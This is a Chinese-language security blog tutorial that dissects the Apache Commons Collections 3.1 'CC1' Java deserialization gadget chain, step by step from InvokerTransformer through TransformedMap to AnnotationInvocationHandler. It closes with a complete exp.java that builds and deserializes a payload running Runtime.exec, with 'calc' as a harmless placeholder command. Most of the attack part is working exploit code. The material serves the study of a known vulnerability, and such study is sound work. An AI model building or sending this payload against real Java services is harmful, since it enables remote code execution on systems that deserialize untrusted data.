cc1链详解

  • 版本:jdk8u25
  • 依赖:Apache Commons Collections 3.1
    1
    2
    3
    4
    5
    <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
    </dependency>

链子

cc1的罪魁祸首来自于org.apache.commons.collections.Transformer这个接口,基本所有接下来用到的类都继承于这个接口

那么进入正题,怎么执行rce呢,用到了org.apache.commons.collections.functors.InvokerTransformer这个类

这个类中的transform方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}

直接看else的部分,先获取input的类,然后查找这个类中的iMethodName方法,再通过invoke执行

而这三个参数可以通过InvokerTransformer的公有构造函数赋值:

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

可以做个小测试

testInvoke.java

那么接下来就得找什么调用了transform函数,查找其用法:

发现非常多,但只有一个可以成链子那就是TransformedMap类的调用(其余的如果感兴趣自己分析)

跟进调用,发现一共三个函数调用了transform函数,分别是:

  • transformKey(protected)
  • transformValue(protected)
  • checkSetValue(protected)

分别这样调用了transform函数:

1
2
return keyTransformer.transform(object);
return valueTransformer.transform(object);

那么我们需要查找keyTransformer和valueTransformer是否可控,发现

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

在构造函数中都可以定义,但是构造函数是protected,不能直接调用,看看内部有没有调用他的

发现:

decorate函数调用了TransformedMap函数

那么再看前面三个protected函数是否有被调用,发现transformKey(protected),transformValue(protected)又被transformMap和put调用

transformMap又被putAll调用,putAll参数是个Map

所以调用put和putAll都能触发rce,但已经扯太远了,接下来才是真的cc链调用

只剩checkSetValue了,查看其调用,发现只有一个调用:

AbstractInputCheckedMapDecorator(transfromedMap的父类)的setValue方法,而这个setValue方法又继承于AbstractMapEntryDecorator类,而这个方法又继承于Map.Entry类

那么就可以知道一个简单的调用链:

setValue(Map.entry)->setValue(AbstractInputCheckedMapDecorator)->checkSetValue->transform

做个小测试:

MapInovke.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package test;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;

import java.util.Map;

public class MapInvoke {
public static void main(String[] args) {
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Map map =new HashedMap();

map.put("Nebu1ea","Nebu1ea");

map.put(Runtime.getRuntime(),""); //为了测试putAll触发,要在转化成TransformedMap之前就把Runtime.getRuntime放进去

Map transformedMap=TransformedMap.decorate(map,invokerTransformer,invokerTransformer);

//setValue触发
for(Object i: transformedMap.entrySet()){
Map.Entry entry=(Map.Entry)i;
entry.setValue(Runtime.getRuntime());
}

//put触发
// transformedMap.put(Runtime.getRuntime(),"Nebu1ea");


//putAll触发
// transformedMap.putAll(transformedMap);
}

这样就把简单的调用链搞清楚了,那现在该查找如何调用了。

整理一下现有的条件,我们需要:

  • 调用类可反序列化(继承 Serializable)
  • 调用类调用了put/putAll/setValue任意一种方法

那么我们可以定位到sun.reflect.annotation.AnnotationInvocationHandler这个类,因为一般java源代码(src.zip)里是没有关于sun.reflect的类的,所以要不就下载完整源代码,要不就手动查找.

触发代码部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

从上往下看
var2 = AnnotationType.getInstance(this.type),获取this.type的AnnotationType对象

Map var3 = var2.memberTypes()获取var2的memberTypes属性,那memberTypes是什么呢?

假如this.type是这么个注解类:

1
2
3
4
5
6
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
ElementType[] motherfucker();
}

那memberTypes属性就会赋值成一个带有

(“motherfucker”,java.lang.annotation.ElementType)的map

继续往下可以看到var4是memberValues.entrySet().iterator(),var5是var4的Entry

var6是var5的key,也就是键值对的前面部分

var7是在var3中获取var6对应的属性

可能有点晦涩,我举个例子:

1
2
3
4
var3=("motherfucker",java.lang.annotation.ElementType)
var5=("motherfucker","1")->
var6="motherfucker"->
var7=java.lang.annotation.ElementType

这样就好理解了一点

接下来判断var7是否为空

不为空则让var8等于var5的value,在上面的例子就是”1”

接着判断var8是不是var7或者ExceptionProxy的实例(正常不是,因为我们一般赋成了字符串实例)

如果都不是则调用var5的setValue函数

那么如果memberValues可控,调用链就成型了,我们查看memberValues

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

只有一个赋值且在构造函数里,可以通过反射调用来对其赋值,解析一下构造函数:

var3为var1参数的所有继承接口,所以现在有限制了

  • 保证var1是注解类型(Annotation)
  • var1有唯一父类java.lang.annotation.Annotation

那我们可以找到这个类

java.lang.annotation.Target

看看他代码:

1
2
3
4
5
6
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
ElementType[] value();
}

@interface表名他是个注解类型,所有注解类型都隐式继承了Annotation类,他没有继承其他类,完全满足

所以现在只要简单在构造transformedMap时put一个(“value”,任意)进去,就有一条简单的触发链了:

readObject->setValue->checkSetValue->transform

但是又又一个问题,setValue的参数是不可控的,它指定为AnnotationTypeMismatchExceptionProxy这个类,记得我们之前做的测试不?

我们setValue是这样触发的:

setValue(Runtime.getRuntime())

那有没有什么方法让setValue的参数无论是啥都触发呢?

完整链子

我们再引入几个类

  • ConstantTransformer
  • ChainedTransformer

这两个类同样继承了Transformer类,查看他们的tranform函数:

ConstantTransformer

1
2
3
public Object transform(Object input) {
return this.iConstant;
}

无论输入如何,返回iConstant对象

再看iConstant那里来的

1
2
3
4
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

公有构造函数直接赋值,也就是说我们赋值Runtime.class的话会直接原封不动的返回Runtime.class

ChainedTransformer

1
2
3
4
5
6
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

一个一个调用iTransformers数组每一个成员的transform方法,且前一个transform返回的Object会成为下一个transform的参数。

那就有思路了,把Runtime.class藏在ConstantTransformer当中

然后将ConstantTransformer和InvokerTransformer通过ChainedTransformer链接起来

这里要调用三次InvokerTransformer.transform

  • 第一次获取getRuntime函数
  • 第二次获取invoke函数
  • 第三次获取exec函数并执行

为什么不能直接把Runtime.getRuntime()藏在ConstantTransformer当中呢?

因为Runtime.getRuntime()是Runtime实例,是不能序列化的,但是Runtime.class是个Class实例,是可以序列化的

这样调用ChainedTransformer的transform方法时就能把Runtime.class传递给InvokerTransformer然后执行RCE

链子:

ObjectInputStream.readObject->AnnotationInvocationHandler.readObject->TransformedMap.entrySet().iterator().next().setValue->TransformedMap.checkSetValue->TransformedMap.transform->ChainedTransformer.transform->ConstantTransformer.transform->InvokerTransformer.transform

exp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Map;

public class exp {
public static void main(String[] args) throws Exception{
ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
InvokerTransformer invokerTransformer1=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
InvokerTransformer invokerTransformer2=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
InvokerTransformer invokerTransformer3=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Transformer[] Transformers=new Transformer[]{constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3};
Transformer chainedTransformer =new ChainedTransformer(Transformers);
Map map=new HashedMap();
map.put("value","Nebu1ea");
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

// for(Object i: transformedMap.entrySet()){
// Map.Entry entry=(Map.Entry)i;
// entry.setValue(Runtime.getRuntime());
// }


Class class1 =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=class1.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object object=constructor.newInstance(Target.class,transformedMap);

//序列化
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
byte[] bytes=byteArrayOutputStream.toByteArray();

//反序列化
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

结语

稍微开始上强度了,正常来说cc链是从transform或者setValue触发的,Anno触发链只是举了个例子,其余的执行代码审计研究

就此结束,Ciallo~~

更新于

请我喝[茶]~( ̄▽ ̄)~*

Nebu1ea 微信支付

微信支付

Nebu1ea 支付宝

支付宝

Nebu1ea 贝宝

贝宝